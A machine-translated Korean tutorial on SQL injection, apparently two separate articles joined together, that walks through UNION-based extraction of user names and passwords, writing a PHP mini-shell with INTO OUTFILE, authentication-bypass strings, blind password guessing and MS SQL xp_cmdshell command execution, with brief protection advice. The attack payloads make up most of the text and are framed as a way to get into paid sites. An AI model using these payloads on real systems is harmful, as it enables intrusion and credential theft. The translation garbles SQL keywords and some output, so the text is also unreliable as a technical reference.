성공할 것이다. 다음과 같은 요청을 보내 index2.php 스크립트에서 이를 시도해 볼 수 있습니다.

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

매개변수 알아보기 노동 조합. SQL 언어에서 키워드는 노동 조합두 개의 SQL 쿼리 결과를 단일 테이블로 결합하는 데 사용됩니다. 즉, 다른 테이블에서 필요한 것을 꺼내기 위해서입니다.

그것을 활용하자

매개변수가 "숫자"인 경우 요청에 인용문을 보낼 필요가 없으며 자연스럽게 끝에 설명을 추가합니다. 다시 스크립트로 돌아가자. index1.php.

sqlinj/index1.php?id=1 UNION SELECT 1 스크립트를 살펴보겠습니다. 데이터베이스 쿼리는 다음과 같습니다.
SELECT * FROM 뉴스 WHERE id=1 UNION SELECT 1
그리고 그는 우리에게 실수를 저질렀습니다. 왜냐면... 병합 쿼리를 사용하려면 동일한 수의 필드가 필요합니다.

왜냐하면 첫 번째 요청에서는 해당 번호에 영향을 미칠 수 없습니다. 그런 다음 두 번째 요청에서 해당 번호를 선택하여 첫 번째 요청과 같아야 합니다.

필드 수 선택

필드를 선택하는 것은 매우 간단합니다. 다음 요청을 보내면 됩니다.
sqlinj/index1.php?id=1 UNION SELECT 1,2
오류…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
또 오류가 발생했습니다!
sqlinj/index1.php?id=1 UNION 선택 1,2,3,4,5
오류가 없습니다! 즉, 열의 개수는 5개입니다.

그룹 기준
필드가 20개, 40개, 심지어 60개일 수도 있으므로 매번 정렬할 필요가 없도록 다음을 사용합니다. 그룹 기준

요청하는 경우
sqlinj/index1.php?id=1 GROUP BY 2
오류가 표시되지 않았습니다. 이는 필드 수가 2보다 크다는 의미입니다. 시도해 보겠습니다.

Sqlinj/index1.php?id=1 GROUP BY 8
아, 오류가 표시됩니다. 이는 필드 수가 8개 미만임을 의미합니다.

GROUP BY 4에는 오류가 없고 GROUP BY 6에는 오류가 있는 경우 필드 수는 5입니다.

출력 열 정의
첫 번째 요청에서 아무 것도 표시되지 않도록 하려면 존재하지 않는 ID를 대체하는 것으로 충분합니다. 예를 들면 다음과 같습니다.

Sqlinj/index1.php?id=-1 UNION 선택 1,2,3,4,5


이 작업을 통해 페이지에 표시되는 열을 결정했습니다. 이제 이 번호를 필요한 정보로 바꾸려면 요청을 계속해야 합니다.

데이터 출력

테이블이 아직 존재한다는 것을 안다고 가정해 보겠습니다. 사용자필드가 존재하는 곳 ID, 이름그리고 통과하다.
ID=1인 사용자에 대한 정보를 가져와야 합니다.

따라서 다음 쿼리를 작성해 보겠습니다.

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM 사용자 WHERE id=1
스크립트도 계속 출력됩니다.

이를 위해 숫자 1과 3 대신 필드 이름을 대체합니다.

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM 사용자 WHERE id=1
우리는 필요한 것을 얻었습니다!

스크립트에서와 같이 "문자열 입력 매개변수"의 경우 index2.php시작 부분에 따옴표를 추가하고 끝에 주석 표시를 추가해야 합니다. 예:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM 사용자 WHERE id=1 --%20

파일 읽기/쓰기

파일을 읽고 쓰려면 데이터베이스 사용자에게 FILE_PRIV 권한이 있어야 합니다.
녹음 파일
사실 모든 것이 매우 간단합니다. 파일을 쓰기 위해 우리는 함수를 사용할 것입니다 아웃파일.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
좋습니다. 파일이 우리에게 등록되었습니다. 따라서 미니쉘을 채울 수 있습니다:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
파일 읽기
파일을 읽는 것이 쓰는 것보다 훨씬 쉽습니다. 기능만 사용하면 충분해요 LOAD_FILE, 선택한 필드의 위치:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

따라서 우리는 이전에 작성된 파일을 읽었습니다.

보호 방법

자신을 보호하는 것은 취약점을 악용하는 것보다 훨씬 쉽습니다. 데이터를 필터링하면 됩니다. 숫자를 전달하는 경우 다음을 사용하십시오.
$id = (int) $_GET["id"];
사용자 Malroc이 제안한대로. PDO 또는 준비된 명령문을 사용하여 자신을 보호하세요.

완성 대신

여기에서 "초보자를 위한 SQL 주입"에 대한 첫 번째 부분을 마무리하고 싶습니다. 두 번째에서는 좀 더 심각한 주사의 예를 살펴보겠습니다. 취약한 스크립트를 작성하고 쿼리를 직접 실행해 보세요.
그리고 귀하의 사이트 사용자를 신뢰하지 마십시오.

태그: 태그 추가

SQL 주입해커가 얻을 수 있는 아주 좋은 기회
서버에 액세스합니다. 그리고 그는 약간의 노력으로
아직도 그것을 얻습니다 :)

코더 내부

요즘에는 데이터베이스 작업이 지원됩니다.
거의 모든 프로그래밍 언어에는 BASIC, C++, Java, PERL, PHP, Assembler 및 JavaScript도 포함됩니다! 그리고 이러한 프로그램은 단지 DBMS(데이터베이스 관리 시스템)라고 불립니다. 데이터베이스는 종종 재정 문제를 해결하는 데 사용됩니다.
회계, 인사 조직이지만 인터넷에서도 응용 프로그램을 찾았습니다.

데이터베이스는 웹 애플리케이션을 작성하는 데 자주 사용됩니다. 이러한 사용은 사용자 등록 데이터, 세션 식별자, 검색 구성 및 더 많은 처리가 필요한 기타 작업을 저장하는 데 가장 적합합니다.
데이터의 양. 데이터베이스에 액세스하기 위해 PHP, PERL, ASP 등의 서버 기술이 사용됩니다. 이것이 재미가 시작되는 곳입니다. 서버에 있을 때
모든 패치가 설치되어 있고 방화벽이 포트 80을 제외한 모든 포트를 차단하거나 일부 데이터에 액세스하기 위해 인증이 필요한 경우 해커가 SQL 주입을 사용하여 해킹할 수 있습니다. 이 공격의 본질은 WEB 기술과 SQL의 교차점에서 오류를 이용하는 것입니다. 사실은 사용자 데이터를 처리하기 위한 많은 웹페이지가 특별한 SQL데이터베이스 요청. 이 기술을 부주의하게 사용하면 꽤 흥미로운 결과가 나올 수 있습니다.

SQL 주입

공격을 설명하기 위해 매우 중요한 도구 하나를 다운로드하기 위해 사이트에 갔다가 등록된 사용자만이 이 작업을 수행할 수 있으며 등록에는 물론 비용이 든다는 사실을 공포에 떨며 알아차렸다고 가정해 보겠습니다. 마지막으로 돈을 벌었지만 프로그램 없이는 할 수 없습니다! 방법을 기억할 시간입니다.
데이터베이스에 액세스 SQL. 예를 들어, PHP에서 로그인 및 비밀번호를 확인하는 방법은 다음과 같습니다.

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// 인증 완료
}
또 다른
{
// 인증 오류
}

"AUTHENTICATION OK"라는 2개의 댓글을 추가했습니다. 교체해야 합니다.
비밀번호와 로그인이 올바르면 실행될 코드로 이동하세요. 또 다른 “AUTHENTICATION ERROR”는 잘못된 경우 실행될 코드를 설명하는 곳입니다. 양식을 작성하면 요청은 "http://www.server.com?login=user&password=31337"과 같습니다. 여기서 www.server.com은 이름입니다.
우리가 연결하려는 서버. 우리는 우리가 찾고 있던 것을 찾았으므로 다시 일하러 돌아갈 것입니다 SQL. 따라서 인증을 위해 로그인 및 비밀번호를 지정해야 하는 경우 생성된 SQL요청은 다음과 같습니다:

SELECT * FROM 사용자 WHERE 로그인="사용자" AND
비밀번호="31337"

이는 다음과 같은 것을 의미합니다. 로그인이 "user"이고 비밀번호가 "31337"인 사용자 데이터베이스의 모든 레코드를 나에게 반환합니다. 그러한 기록이 존재하면 사용자는 등록되지만, 그렇지 않으면 등록되지 않습니다... 그러나 특정 상황에서는 모든 것이 수정될 수 있습니다. 이는 애플리케이션이 전송된 데이터의 내용을 확인하지 않거나 존재 여부를 완전히 확인하지 않는 상황을 말합니다. SQL지침. 이 예에서는 로그인과 비밀번호 두 필드가 확인되지만 "31337' AND email='을 비밀번호로 지정하면 [이메일 보호됨]”(큰따옴표 없이) 그러면 쿼리가 약간 다르게 나타납니다.

SELECT * FROM 사용자 WHERE 로그인="사용자" AND 비밀번호="31337" AND
이메일=" [이메일 보호됨]"

그리고 이메일 필드가 존재하는 경우 이 조건도 확인됩니다. 부울 대수학의 기본을 기억한다면 "and" 연산 외에 "or"도 있다는 사실을 떠올릴 것입니다. 그리고 그 사용은 SQL에서 지원되기 때문에 다음을 수행할 수 있습니다.
설명된 방식으로 항상 true를 반환하는 조건을 추가합니다. 이렇게 하려면 로그인으로 "user' OR 1=1—"을 지정해야 하며, 이 경우 요청은 다음 형식을 취합니다.

SELECT * FROM 사용자 WHERE login="user" OR 1=1--" AND
비밀번호="31337"

먼저 “—”는 요청의 끝을 의미하고 “—” 이후의 모든 내용을 의미한다는 점을 알아야 합니다.
처리되지 않습니다! 우리가 요청한 것으로 밝혀졌습니다.

SELECT * FROM 사용자 WHERE 로그인="사용자" OR 1=1

보시다시피 "1=1" 조건을 추가했습니다. 즉, 확인 기준은 "로그인이 '사용자'이거나 1=1인 경우"이지만 1은 항상 1과 같습니다(유일한 예외는 Dani Shepovalov의 산술일 수 있음). :)). 우리의 의심을 테스트하기 위해
주소 표시줄에 "http://www.server.com?login=user 또는 1=1—&password=31337"을 입력합니다. 이로 인해 우리가 어떤 로그인을 지정했는지는 중요하지 않지만
특히 비밀번호! 그리고 우리는 매트릭스 안에 있습니다. 아, 시스템 안에 있고 우리가 필요한 것을 침착하게 다운로드할 수 있습니다.

그러나 이것은 모두 이론상이다. 실제로 우리는 요청이 어떻게 형성되는지, 어떤 데이터가 어떤 순서로 전송되는지 알 수 없습니다. 따라서 모든 필드에 대해 "user' OR 1=1—"을 지정해야 합니다. 숨겨진 필드에 대한 제출 양식도 확인해야 합니다. HTML에서는 " " 존재하는 경우 페이지를 저장하고 해당 필드의 값을 변경하십시오. 그 안에 포함된 값은 SQL 문이 있는지 확인하는 것을 잊어버리는 경우가 많습니다. 그러나 모든 것이 작동하려면 "ACTION" 매개변수에 대한 형식("FORM" 태그)으로 이 요청을 처리하는 스크립트의 전체 경로를 지정해야 합니다.

그러나 요청이 어떻게 구성되는지 항상 알 수 있는 것은 아닙니다.
이전 예제는 다음과 같은 방식으로 구성될 수 있습니다.

SELECT * FROM 사용자 WHERE(로그인="사용자" AND 비밀번호="31337")
SELECT * FROM 사용자 WHERE 로그인="사용자" AND 비밀번호="31337"
SELECT * FROM users WHERE 로그인=사용자 AND 비밀번호=31337

이 경우 다음 옵션을 시도해 볼 수 있습니다.

'또는 1=1—
» 또는 1=1—
또는 1=1—
' 또는 'a'='a
"또는 "a"="a
') OR ('a'='a
또는 '1'='1'

그것은 모두 스크립트의 목적과 프로그래머에 따라 다릅니다. 각 사람은 자신의 방식으로 모든 작업을 수행하는 경향이 있으므로 프로그래머가 가장 쉬운 옵션을 선택하지 않을 가능성이 높습니다. 그러므로 즉시 해서는 안 된다.
거절당하면 포기하세요. 필요한
가능한 많은 옵션을 시도해보세요..

비밀번호 감지

인증을 우회하는 것은 나쁘지 않지만, 사용하고 있는 구멍이 닫히고 사용 가능한 모든 것이 손실되는 경우가 많습니다.
프로그래머가 바보가 아니라면 이는 예상할 수 있는 일입니다.
시간이 지나면 모든 허점이 닫힐 것입니다. 이러한 상황을 미리 처리하면 쉽게 제거할 수 있습니다. 올바른 해결책은 다음을 사용하여 비밀번호를 추측하는 것입니다.
인증 결과 분석. 먼저 비밀번호를 추측해 보겠습니다. 이를 위해 해당 위치를 입력하세요.

'OR 비밀번호>'a

인증이 통과되었다는 메시지가 나타나면 비밀번호는
문자 "a"로 시작하지 않고 목록에 다음 중 하나가 포함되어 있습니다. 계속해서 대체하자
"a", 다음 "b", "c", "d", "e"... 등을 배치합니다. 비밀번호가 올바르지 않다고 말할 때까지. 이 프로세스가 "x" 기호에서 중지되도록 하세요. 이 경우 상황 전개를 위한 두 가지 옵션이 생성됩니다. 즉, 비밀번호를 찾거나 비밀번호가 이 기호로 시작합니다. 첫 번째 옵션을 확인하려면 비밀번호 위치를 작성하십시오.

'OR 비밀번호='x

비밀번호가 승인되고 입장이 허용되면 비밀번호를 추측하신 것입니다! 아뇨, 그러면 두 번째 캐릭터를 선택해야 합니다.
처음부터 똑같습니다. 두 문자를 확인하세요.
같은 것이 필요합니다. 마지막으로 비밀번호를 받게되고, 같은 방법으로 로그인을 찾아보게 됩니다 :)
찾은 비밀번호와 로그인이 귀하에게 적합하지 않으면 다른 비밀번호를 찾을 수 있습니다. 이렇게 하려면 찾은 비밀번호의 마지막 문자부터 확인을 시작해야 합니다. 따라서 비밀번호가 “xxx”인 경우에는 비밀번호 존재 여부를 확인해야 합니다.
"xxxy":

'OR 비밀번호='xxx

하나 이상의 옵션을 놓치지 않도록!

MS SQL 서버

MS SQL Server는 필요한 필터링이 누락된 경우 일반적으로 신의 선물입니다. 실행할 수 있는 SQL 주입 취약점을 사용하여
exec master..xp_cmdshell을 사용하여 원격 서버에서 명령을 실행합니다. 하지만 이 디자인을 사용하려면
SELECT 작업이 완료되어야 합니다. SQL에서는 명령문이 세미콜론으로 구분됩니다. 따라서 Telnet을 통해 일부 IP에 연결하려면 비밀번호/로그인 위치를 입력해야 합니다.

"; exec master..xp_cmdshell "텔넷 192.168.0.1" --

MS SQL Server에는 데이터베이스에 저장된 로그인 및 비밀번호를 찾을 수 있는 몇 가지 흥미로운 기능이 있습니다. 이를 위해 오류 출력은 임의의 서버로 리디렉션되고 이를 통해
분석을 통해 테이블 ​​이름, 필드 및 유형을 확인할 수 있습니다. 그 후에 요청할 수 있습니다

' UNION SELECT TOP 1 로그인 FROM 사용자—

(login은 로그인이 포함된 필드 이름이고, users는 테이블 이름이며,
오류 분석 과정에 있는 반과학자).

대답은 다음과 같습니다.


nvarchar 값 "admin을 변환하는 중 구문 오류가 발생했습니다." to a column of data type int. !}
/default.asp, 27행

이제 우리는 "admin"이라는 사용자가 있다는 것을 알고 있습니다. 이제 그의 비밀번호를 알아낼 수 있습니다:

' 로그인='admin'인 사용자의 UNION SELECT TOP 1 비밀번호 —

결과:

ODBC 드라이버용 Microsoft OLE DB 공급자 오류 "80040e07"
nvarchar 값 "xxx를 변환하는 중 구문 오류가 발생했습니다." to a column of data type int. !}
/tedault.asp, 27행

이제 우리는 비밀번호가 "xxx"인 사용자 "admin"이 있다는 것을 알고 있습니다. 이것으로 안전하게 할 수 있습니다
그것을 사용하고 시스템에 로그인하세요 😉

하지만 SQL 작업을 위한 다른 많은 함수가 있습니다.
데이터베이스 작업 시 데이터 삭제, 수정, 직접 삽입, 파일 조작 및 레지스트리 작업도 가능합니다.
일반적으로 SQL Server 규칙입니다. :)

보호

그러나 물론 이 모든 것을 피할 수 있습니다. 이렇게하려면 다음을 수행하십시오.
필터를 사용하고,
제조업체에서 제공합니다. 예를 들어 모든 단일 제품을 교체하는 등 자신만의 솔루션을 찾을 수 있습니다.
큰따옴표(인 경우 SQL단일 항목을 사용하도록 요청하거나 그 반대의 경우도 마찬가지입니다. 입력해야 하는 경우 문자와 s@baki만 사용하도록 허용할 수 있습니다.
이메일 주소. 그리고 진주에는 놀라운 것이 있습니다
DBI::DBD 모듈의 🙂 quote() 함수는 쿼리를 성공적으로 안전하게 만듭니다. SQL. 많은 솔루션이 있습니다. 필요한 것뿐입니다.
활용하십시오. 그렇지 않다면 왜 이 모든 것이...